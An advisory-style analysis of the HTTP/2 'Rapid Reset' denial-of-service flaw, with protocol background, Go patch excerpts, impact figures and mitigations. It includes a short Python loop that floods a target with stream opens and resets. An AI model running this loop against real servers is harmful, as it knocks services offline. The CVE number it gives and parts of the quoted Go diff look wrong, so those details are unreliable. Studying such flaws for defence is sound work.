A critical vulnerability in the HTTP/2 protocol allows attackers to cause a massive denial-of-service attack. By rapidly opening and then immediately canceling many data streams, an attacker can force a server to expend huge amounts of CPU, knocking it offline. This 'Rapid Reset' attack is cheap to perform and affects nearly every web server running HTTP/2. Patching and rate-limiting are essential for mitigation.
CVE-2023-44482, dubbed 'HTTP/2 Rapid Reset,' is a critical denial-of-service vulnerability affecting the HTTP/2 protocol itself. By exploiting the stream cancellation feature, an attacker can overwhelm virtually any web server with minimal effort. This is not a simple bug in a single application but a fundamental weakness in the web's modern infrastructure, allowing a low-bandwidth attacker to trigger massive, resource-draining DDoS attacks. The flaw lies in the asymmetrical cost of handling stream resets, where a cheap client request forces expensive server-side cleanup, leading to CPU exhaustion and complete service unavailability.
Let's take a stroll down memory lane to the creaky, old days of HTTP/1.1. It was a simpler time, but a slower one. Each request for an asset—an image, a script, a stylesheet—required its own TCP connection. Browsers tried to be clever by opening multiple connections at once, but this led to a clunky, inefficient process known as head-of-line blocking. If one resource was slow to load, everything else behind it in the queue had to wait. It was like being stuck in a single-lane checkout line behind someone paying in pennies.
Then came HTTP/2, riding in on a white horse, promising a new era of web performance. Its killer feature? Multiplexing. Instead of juggling multiple connections, HTTP/2 could handle dozens or even hundreds of requests and responses concurrently over a single TCP connection. It achieved this magic through the concept of 'streams'—independent, bidirectional sequences of frames exchanged between the client and server. One connection could carry streams for HTML, CSS, and JavaScript all at the same time, eliminating head-of-line blocking at the transport layer.
This was a monumental leap forward. Websites felt snappier, servers could handle more traffic with less overhead, and developers rejoiced. Streams were the lifeblood of this new protocol. A client could open a stream to request a resource with a HEADERS frame and close it when done. It could even tell the server, 'You know what, I don't need that giant JavaScript bundle after all,' by sending a RST_STREAM (Reset Stream) frame. This was designed to be a feature for efficiency, a polite way to save bandwidth and resources for everyone.
This very politeness, this mechanism designed to gracefully manage communication, became the weapon. The developers of the protocol, and by extension the developers of nearly every web server on the planet, made a critical assumption: that clients would behave reasonably. They built a system based on cooperation, forgetting the cardinal rule of network security: the client is the enemy, and everything it sends is a potential lie.
The root of CVE-2023-44482 isn't a classic memory corruption bug or a SQL injection flaw. You won't find a single line of code you can point to and say, 'There, that's the mistake.' The vulnerability is far more insidious; it's an architectural flaw, a design oversight in the protocol itself. The weapon is the RST_STREAM frame, a perfectly valid and necessary part of HTTP/2.
Its intended purpose is simple: a client can cancel a stream it no longer needs. Perhaps the user navigated away from a page, or a requested image is no longer visible. Sending RST_STREAM tells the server to stop processing that request and tear down the associated stream. This is a good thing, in theory. It prevents the server from wasting CPU cycles and bandwidth sending data that will just be thrown away.
The fatal flaw lies in the asymmetry of work. For a client, opening a stream and immediately resetting it is computationally trivial. It's just a HEADERS frame followed by a RST_STREAM frame, a few dozen bytes sent over the wire. For the server, however, the process is far more expensive. Upon receiving the HEADERS frame, the server's HTTP/2 stack kicks into gear. It allocates memory for the new stream, updates its internal state tables, parses the headers, and potentially triggers application-level logic to begin handling the request.
Only then, after all that setup work is done, does it process the RST_STREAM frame. Now it has to undo everything. It must tear down the stream, deallocate the memory, and update its state tables again. The client spent a microsecond's worth of CPU; the server spent orders of magnitude more. When an attacker does this hundreds of thousands of times per second on a single connection, the server's CPU usage redlines, and it can no longer serve legitimate traffic. It's the death of a thousand tiny, polite cuts.
Since this is a protocol-level vulnerability, there isn't one universal 'vulnerable code' snippet. The flaw existed in the logic of how nearly every HTTP/2 server implementation handled stream management. To see how the fix works, we can dissect the patch applied to Google's Go language net/http package, which provides a crystal-clear example of the mitigation strategy.
Before the patch, the Go HTTP/2 server would happily accept new streams and their subsequent cancellations without any sort of sanity checking. The server's primary defense against resource abuse was the SETTINGS_MAX_CONCURRENT_STREAMS setting, which limits how many streams can be active at once. The Rapid Reset attack brilliantly bypasses this, as the streams are canceled so quickly they are never considered 'active' long enough for the limit to apply. The server was effectively counting ghosts.
The Go team's fix, found in commit 232230c685796b6f7514a68289745c053c539829, introduced a new circuit breaker. Let's look at the core logic change:
--- a/src/net/http/h2_bundle.go
+++ b/src/net/http/h2_bundle.go
@@ -6593,6 +6593,12 @@
// A client may cancel a stream by sending a RST_STREAM frame.
// If the stream is not yet finished, this informs the handler
// that it should stop work.
+ sc.mu.Lock()
+ sc.resetStream[f.StreamID] = struct{}{}
+ sc.mu.Unlock()
sc.resetStreamHandler(f)
return nil
}This first part seems innocuous, just tracking the reset stream IDs. The real magic happens in how the server handles new streams.
--- a/src/net/http/h2_bundle.go
+++ b/src/net/http/h2_bundle.go
@@ -7378,6 +7378,14 @@
// maxStreamResets is the maximum number of stream resets that can be received
// in a 30-second window before the connection is closed.
const maxStreamResets = 2000
+
+// maxConcurrentRequestCreations is the maximum number of requests that can
+// be in the process of being created at any one time.
+//
+// Requests are created when a HEADERS frame is received. They are destroyed
+// when the stream is closed or reset.
+// If a client attempts to create more requests than this, the connection is closed.
+const maxConcurrentRequestCreations = 2000
// new serverConn is used by the Server.
// This is thePROTO entry point.
@@ -7435,6 +7443,10 @@
sc.donec = make(chan struct{})
sc.streams = make(map[uint32]*stream)
sc.initialWindowSize = initialWindowSize
+
+ sc.pendingRequestCreations.val = maxConcurrentRequestCreations
+ sc.streamResets.val = maxStreamResets
+
sc.serveG = goid.Get()
sc.advMaxStreams = sc.srv.maxConcurrentStreams()
// The first stream is 1, so 0 is an easy way to track 'no stream'.Here, the developers introduce two new constants: maxStreamResets and maxConcurrentRequestCreations. They are essentially creating new rate limits that operate independently of the old SETTINGS_MAX_CONCURRENT_STREAMS. They are no longer just counting active streams; they are counting the rate of stream creation and cancellation events.
The server now tracks how many streams have been reset within a time window. If a single client connection exceeds this threshold (e.g., 2000 resets in 30 seconds), the server concludes the client is malicious and terminates the entire connection with a GOAWAY frame. This is the bouncer throwing the troublemaker out of the club instead of trying to deal with each of their disruptive friends one by one. It's a simple, elegant, and effective way to shut down the abusive behavior before it can exhaust server resources.
Crafting an exploit for CVE-2023-44482 is surprisingly straightforward, which is what makes it so terrifying. An attacker doesn't need a sophisticated zero-day or a complex memory corruption primitive. They just need a library capable of crafting raw HTTP/2 frames and a fundamental misunderstanding of social decorum.
The attack proceeds in a brutally simple loop:
HEADERS frame to initiate a new stream (e.g., Stream ID 1). This is the equivalent of knocking on the server's door.RST_STREAM frame for that same Stream ID 1. This is like knocking and then running away.This sequence ensures that the SETTINGS_MAX_CONCURRENT_STREAMS limit is never breached. From the server's perspective, it never has more than one or two streams truly 'active' at any given millisecond. But in the background, its CPU is being absolutely thrashed by the constant setup and teardown of these phantom streams. Each loop iteration adds another straw to the camel's back, and with modern network speeds, an attacker can throw hundreds of thousands of straws per second.
A conceptual proof-of-concept might look something like this in Python using a library like h2:
import socket
import h2.connection
# Target server details
TARGET_HOST = 'vulnerable-server.com'
TARGET_PORT = 443
# Create a TCP connection
s = socket.create_connection((TARGET_HOST, TARGET_PORT))
# In a real scenario, you'd wrap this in TLS
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
stream_id = 1
while True:
try:
# 1. Send HEADERS to open a stream
headers = [(':method', 'GET'), (':path', '/'), (':scheme', 'https'), (':authority', TARGET_HOST)]
c.send_headers(stream_id, headers)
# 2. Immediately send RST_STREAM to cancel it
c.reset_stream(stream_id)
# Send the batched frames
s.sendall(c.data_to_send())
print(f'Opened and reset stream {stream_id}')
# Move to the next client-initiated stream ID
stream_id += 2
except Exception as e:
print(f'Connection closed: {e}')
breakThis diagram illustrates the vicious cycle. It's a feedback loop from hell, where the attacker expends almost no resources to generate a massive workload on the victim's server. Multiplying this by a botnet of thousands of compromised machines results in the record-shattering DDoS attacks that were observed in the wild.
The real-world consequences of CVE-2023-44482 were not theoretical. In August 2023, major internet players like Google, Cloudflare, and Amazon AWS began detecting and mitigating some of the largest DDoS attacks in history. These weren't your typical volumetric attacks that saturate network pipes with garbage traffic. These were sophisticated, application-layer attacks that surgically targeted the CPU of web servers, and they were all powered by the Rapid Reset technique.
Cloudflare reported mitigating an attack that peaked at an astonishing 201 million requests per second (RPS). To put that in perspective, that's more requests than the total number of votes cast in the 2020 US presidential election, happening every single second. Google saw similar attacks, with one targeting their infrastructure peaking at 398 million RPS. These numbers are orders of magnitude larger than any previously recorded Layer 7 DDoS attack.
What made this vulnerability so devastating was its ubiquity. This wasn't a flaw in some obscure WordPress plugin or an unpatched version of Struts. This was a flaw in HTTP/2, the protocol that powers a significant portion of the modern web. Every major web server—Nginx, Apache, Caddy, Node.js, Microsoft IIS—and every CDN and load balancer was affected. The attack surface was, for all intents and purposes, the entire internet.
Furthermore, the economics of the attack were terrifyingly skewed in the attacker's favor. The botnet required to generate these attacks was relatively small, estimated at only 20,000 machines. A small, inexpensive botnet could generate enough traffic to threaten the infrastructure of even the largest cloud providers on the planet. For any organization without the scale and expertise of a Google or Cloudflare, mitigating such an attack would be nearly impossible. Their servers would simply fall over, resulting in complete service unavailability, financial loss, and reputational damage.
Stopping the bleeding from CVE-2023-44482 requires a multi-layered defense strategy. There is no single silver bullet, but rather a series of measures that, together, can effectively defang the Rapid Reset attack. The primary and most critical step is to apply the patches provided by your software vendors.
Nearly every maintainer of a major web server, reverse proxy, or programming language network stack has released a security update. These patches implement the kind of circuit-breaker logic we examined in the Go source code. They introduce new limits on how many streams can be created or reset over a short period on a single connection. When a client exceeds this threshold, it is identified as abusive, and the connection is terminated. This is the most effective fix, as it addresses the root cause at the server level. So, the first order of business is simple: patch, patch, patch.
However, patching isn't always immediate or possible. The next layer of defense is configuration hardening. System administrators should review their web server configurations. For servers like Nginx, this might involve tuning settings like keepalive_requests and http2_max_concurrent_streams. While http2_max_concurrent_streams is bypassed by the core attack, lowering it can help in some edge cases. More importantly, implementing connection-level rate limits at the load balancer or firewall can provide a crucial backstop, preventing a single IP from consuming too many resources.
For most organizations, the ultimate defense lies at the network edge, with a DDoS mitigation service or a Content Delivery Network (CDN). Services like Cloudflare, Akamai, and AWS Shield were the first to see these attacks in the wild and have already implemented sophisticated, global-scale mitigations. By routing your traffic through them, you place their massive infrastructure and intelligent filtering between the attackers and your origin servers. They can absorb the attack traffic long before it ever has a chance to touch your CPU.
Can this be bypassed? Attackers are clever. They might try to slow down their attack to fly under the new rate limits, using more machines in their botnet to achieve the same effect. They could also look for other ways to make the stream setup/teardown process more expensive for the server, perhaps by sending complex headers. The defensive game is a continuous cat-and-mouse cycle, but the current round of patches has raised the cost for attackers significantly.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
nginx F5 | < 1.25.3 | 1.25.3 |
Go Google | < 1.20.10 and < 1.21.3 | 1.20.10, 1.21.3 |
Node.js OpenJS Foundation | < 20.8.0, < 18.18.0 | 20.8.0, 18.18.0 |
Envoy Cloud Native Computing Foundation | < 1.27.1 | 1.27.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400 |
| CWE Name | Uncontrolled Resource Consumption |
| Attack Vector | Network |
| CVSS v3.1 | 7.5 (High) |
| Impact | Denial of Service |
| Exploit Status | Active Exploitation |
| CISA KEV | Yes, listed |
| EPSS Percentile | 96.53% (as of late 2023) |
The software does not properly control the allocation and maintenance of a limited resource, which can lead to exhaustion of that resource.
Get the latest CVE analysis reports delivered to your inbox.